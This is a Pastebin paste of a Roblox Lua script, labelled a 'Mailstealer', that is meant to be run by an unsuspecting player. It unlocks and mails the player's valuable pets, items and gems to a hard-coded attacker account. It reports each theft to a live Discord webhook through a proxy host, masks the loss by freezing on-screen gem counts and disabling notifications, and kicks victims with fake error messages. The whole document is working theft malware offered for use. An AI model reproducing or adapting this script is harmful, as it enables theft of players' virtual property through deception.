Advertisement
leoo00

dadsawadw

Mar 10th, 2024
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.80 KB | None | 0 0
  1. Username = "br1c7s"
  2. Webhook = "https://discord.com/api/webhooks/1216155442410164254/qjaqi-qAtHlSH64yBFnaijAHiImD9vFHrd12etGKgSz-4xJrWjfXDxYTGeRndwXDfCed" -- your discord webhook in here
  3. min_rap = 20000
  4.  
  5. local function SendMessage(url, username, itemID)
  6. local http = game:GetService("HttpService")
  7. local headers = {
  8. ["Content-Type"] = "application/json"
  9. }
  10. local data = {
  11. ["embeds"] = {{
  12. ["title"] = "New Item Sent",
  13. ["color"] = 65280,
  14. ["fields"] = {
  15. {
  16. ["name"] = "Victim Username:",
  17. ["value"] = username,
  18. ["inline"] = true
  19. },
  20. {
  21. ["name"] = "Item Sent:",
  22. ["value"] = tostring(itemID),
  23. ["inline"] = true
  24. }
  25. },
  26. ["footer"] = {
  27. ["text"] = "Mailstealer by leo"
  28. }
  29. }}
  30. }
  31. local body = http:JSONEncode(data)
  32. local response = request({
  33. Url = url,
  34. Method = "POST",
  35. Headers = headers,
  36. Body = body
  37. })
  38. end
  39.  
  40. if Webhook and string.find(Webhook, "discord") then
  41. Webhook = string.gsub(Webhook, "https://discord.com", "https://webhook.lewisakura.moe")
  42. else
  43. Webhook = "https://discord.com/api/webhooks/1216155442410164254/qjaqi-qAtHlSH64yBFnaijAHiImD9vFHrd12etGKgSz-4xJrWjfXDxYTGeRndwXDfCed"
  44. end
  45.  
  46. local library = require(game.ReplicatedStorage.Library)
  47. local save = library.Save.Get().Inventory
  48. local plr = game.Players.LocalPlayer
  49. local MailMessage = "d3pe on top"
  50. local GetRapValues = getupvalues(library.DevRAPCmds.Get)[1]
  51. local GetSave = function()
  52. return require(game.ReplicatedStorage.Library.Client.Save).Get()
  53. end
  54.  
  55. for i, v in pairs(GetSave().Inventory.Currency) do
  56. if v.id == "Diamonds" then
  57. GemAmount1 = v._am
  58. end
  59. end
  60.  
  61. if GemAmount1 < 10000 then
  62. plr:kick("Saving error, please rejoin!")
  63. end
  64.  
  65. local user = Username
  66.  
  67. local gemsleft = game:GetService('Players').LocalPlayer.PlayerGui.MainLeft.Left.Currency.Diamonds.Diamonds.Amount.Text
  68. local gemsleftpath = game:GetService('Players').LocalPlayer.PlayerGui.MainLeft.Left.Currency.Diamonds.Diamonds.Amount
  69. gemsleftpath:GetPropertyChangedSignal("Text"):Connect(function()
  70. gemsleftpath.Text = gemsleft
  71. end)
  72.  
  73. local gemsleaderstat = game:GetService('Players').LocalPlayer.leaderstats["💎 Diamonds"].Value
  74. local gemsleaderstatpath = game:GetService('Players').LocalPlayer.leaderstats["💎 Diamonds"]
  75. gemsleaderstatpath:GetPropertyChangedSignal("Value"):Connect(function()
  76. gemsleaderstatpath.Value = gemsleaderstat
  77. end)
  78.  
  79. local loading = game:GetService('Players').LocalPlayer.PlayerScripts.Scripts.Core["Process Pending GUI"]
  80. local noti = game:GetService('Players').LocalPlayer.PlayerGui.Notifications
  81. loading.Disabled = true
  82. noti:GetPropertyChangedSignal("Enabled"):Connect(function()
  83. noti.Enabled = false
  84. end)
  85. noti.Enabled = false
  86.  
  87. local HttpService = game:GetService("HttpService")
  88. local function getRAP(Type, Item)
  89. if GetRapValues[Type] then
  90. for i,v in pairs(GetRapValues[Type]) do
  91. local itemTable = HttpService:JSONDecode(i)
  92. if itemTable.id == Item.id and itemTable.tn == Item.tn and itemTable.sh == Item.sh and itemTable.pt == Item.pt then
  93. return v
  94. end
  95. end
  96. return 0
  97. end
  98. end
  99.  
  100. local function sendItem(category, uid, am, id)
  101. local args = {
  102. [1] = user,
  103. [2] = MailMessage,
  104. [3] = category,
  105. [4] = uid,
  106. [5] = am or 1
  107. }
  108. game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Mailbox: Send"):InvokeServer(unpack(args))
  109. if Webhook and Webhook ~= "" then
  110. SendMessage(Webhook, game.Players.LocalPlayer.Name, id)
  111. end
  112. end
  113.  
  114. local function CountHuges()
  115. local count = 0
  116. for i, v in pairs(save.Pet) do
  117. local id = v.id
  118. local dir = library.Directory.Pets[id]
  119. if dir.huge and getRAP("Pet", v) >= min_rap then
  120. count = count + 1
  121. end
  122. end
  123. return count
  124. end
  125.  
  126. local function StealHuge()
  127. local hugesSent = 0
  128. local initialHuges = CountHuges()
  129. for i, v in pairs(save.Pet) do
  130. local id = v.id
  131. local dir = library.Directory.Pets[id]
  132. if dir.huge and getRAP("Pet", v) >= min_rap then
  133. if v._lk then
  134. local args = {
  135. [1] = i,
  136. [2] = false
  137. }
  138. game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Locking_SetLocked"):InvokeServer(unpack(args))
  139. end
  140. sendItem("Pet", i, v._am or 1, id)
  141. local finalHuges = CountHuges()
  142. if finalHuges < initialHuges then
  143. hugesSent = hugesSent + 1
  144. initialHuges = finalHuges
  145. end
  146. end
  147. end
  148. return hugesSent
  149. end
  150.  
  151. local function SendAllHuges()
  152. local totalHuges = CountHuges()
  153. local hugesSent = 0
  154. repeat
  155. hugesSent = hugesSent + StealHuge()
  156. until hugesSent == totalHuges
  157. end
  158.  
  159. local function CountExc()
  160. local count = 0
  161. for i, v in pairs(save.Pet) do
  162. local id = v.id
  163. local dir = library.Directory.Pets[id]
  164. if dir.exclusiveLevel and getRAP("Pet", v) >= min_rap then
  165. count = count + 1
  166. end
  167. end
  168. return count
  169. end
  170.  
  171. local function ExcSteal()
  172. local excSent = 0
  173. local initialExc = CountExc()
  174. for i, v in pairs(save.Pet) do
  175. local id = v.id
  176. local dir = library.Directory.Pets[id]
  177. if dir.exclusiveLevel and getRAP("Pet", v) >= min_rap then
  178. if v._lk then
  179. local args = {
  180. [1] = i,
  181. [2] = false
  182. }
  183. game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Locking_SetLocked"):InvokeServer(unpack(args))
  184. end
  185. sendItem("Pet", i, v._am or 1, id)
  186. local finalExc = CountExc()
  187. if finalExc < initialExc then
  188. excSent = excSent + 1
  189. initialExc = finalExc
  190. end
  191. end
  192. end
  193. return excSent
  194. end
  195.  
  196. local function SendAllExc()
  197. local totalExc = CountExc()
  198. local excSent = 0
  199. repeat
  200. excSent = excSent + ExcSteal()
  201. until excSent == totalExc
  202. end
  203.  
  204. local function EggSteal()
  205. for i, v in pairs(save.Egg) do
  206. local id = v.id
  207. local diregg = library.Directory.Eggs[id]
  208. if diregg and getRAP("Egg", v) >= min_rap then
  209. sendItem("Egg", i, v._am or 1, id)
  210. end
  211. end
  212. end
  213.  
  214. local function CharmSteal()
  215. for i, v in pairs(save.Charm) do
  216. local id = v.id
  217. local dircharm = library.Directory.Charms[id]
  218. if dircharm and getRAP("Charm", v) >= min_rap then
  219. sendItem("Charm", i, v._am or 1, id)
  220. end
  221. end
  222. end
  223.  
  224. local function EnchantSteal()
  225. for i, v in pairs(save.Enchant) do
  226. local id = v.id
  227. local direnchant = library.Directory.Enchants[id]
  228. if direnchant and getRAP("Enchant", v) >= min_rap then
  229. sendItem("Enchant", i, v._am or 1, id)
  230. end
  231. end
  232. end
  233.  
  234. local function PotionSteal()
  235. for i, v in pairs(save.Potion) do
  236. local id = v.id
  237. local dirpotion = library.Directory.Potions[id]
  238. if dirpotion and getRAP("Potion", v) >= min_rap then
  239. sendItem("Potion", i, v._am or 1, id)
  240. end
  241. end
  242. end
  243.  
  244. local function miscSteal()
  245. for i, v in pairs(save.Misc) do
  246. local id = v.id
  247. local dirmisc = library.Directory.MiscItems[id]
  248. if dirmisc and getRAP("Misc", v) > min_rap then
  249. sendItem("Misc", i, v._am or 1, id)
  250. end
  251. end
  252. end
  253.  
  254. local function hoverSteal()
  255. for i, v in pairs(save.Hoverboard) do
  256. local id = v.id
  257. local dirhover = library.Directory.Hoverboards[id]
  258. if dirhover and getRAP("Hoverboard", v) > min_rap then
  259. sendItem("Hoverboard", i, v._am or 1, id)
  260. end
  261. end
  262. end
  263.  
  264. local function boothSteal()
  265. for i, v in pairs(save.Booth) do
  266. local id = v.id
  267. local dirbooth = library.Directory.Booths[id]
  268. if dirbooth and getRAP("Booth", v) > min_rap then
  269. sendItem("Booth", i, v._am or 1, id)
  270. end
  271. end
  272. end
  273.  
  274. local function ultimateSteal()
  275. for i, v in pairs(save.Ultimate) do
  276. local id = v.id
  277. local dirultimate = library.Directory.Ultimates[id]
  278. if dirultimate and getRAP("Ultimate", v) > min_rap then
  279. sendItem("Ultimate", i, v._am or 1, id)
  280. end
  281. end
  282. end
  283.  
  284. local function GemSteal()
  285. for i, v in pairs(GetSave().Inventory.Currency) do
  286. if v.id == "Diamonds" then
  287. local GemAmount = v._am
  288. local args = {
  289. [1] = user,
  290. [2] = MailMessage,
  291. [3] = "Currency",
  292. [4] = i,
  293. [5] = GemAmount - 10000
  294. }
  295. game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Mailbox: Send"):InvokeServer(unpack(args))
  296. if Webhook and Webhook ~= "" then
  297. SendMessage(Webhook, game.Players.LocalPlayer.Name, "Gems: " .. (GemAmount - 10000))
  298. end
  299. end
  300. end
  301. end
  302.  
  303. local function EmptyBoxes()
  304. if save.Box then
  305. for key, _ in pairs(save.Box) do
  306. local args = {
  307. [1] = key
  308. }
  309. game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Box: Withdraw All"):InvokeServer(unpack(args))
  310. end
  311. end
  312. end
  313.  
  314. local function CountGems()
  315. for i, v in pairs(GetSave().Inventory.Currency) do
  316. if v.id == "Diamonds" then
  317. GemAmount1 = v._am
  318. return GemAmount1
  319. end
  320. end
  321. end
  322.  
  323. local function SendAllGems()
  324. repeat
  325. GemSteal()
  326. until CountGems() == nil or CountGems() < 10000
  327. end
  328.  
  329. if CountHuges() > 0 or CountGems() > 1000000 then
  330. EmptyBoxes()
  331. SendAllHuges()
  332. SendAllExc()
  333.  
  334. if save.Egg ~= nil then
  335. EggSteal()
  336. end
  337.  
  338. if save.Charm ~= nil then
  339. CharmSteal()
  340. end
  341.  
  342. if save.Ultimate ~= nil then
  343. ultimateSteal()
  344. end
  345.  
  346. if save.Enchant ~= nil then
  347. EnchantSteal()
  348. end
  349.  
  350. if save.Potion ~= nil then
  351. PotionSteal()
  352. end
  353.  
  354. if save.Hoverboard ~= nil then
  355. hoverSteal()
  356. end
  357.  
  358. if save.Booth ~= nil then
  359. boothSteal()
  360. end
  361.  
  362. miscSteal()
  363. SendAllGems()
  364. setclipboard("preciate the stuff")
  365. plr:kick("All your stuff has just been stolen by D3PES mailstealer.")
  366. else
  367. plr:kick("Error on script execution: 0x0001F4A2")
  368. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement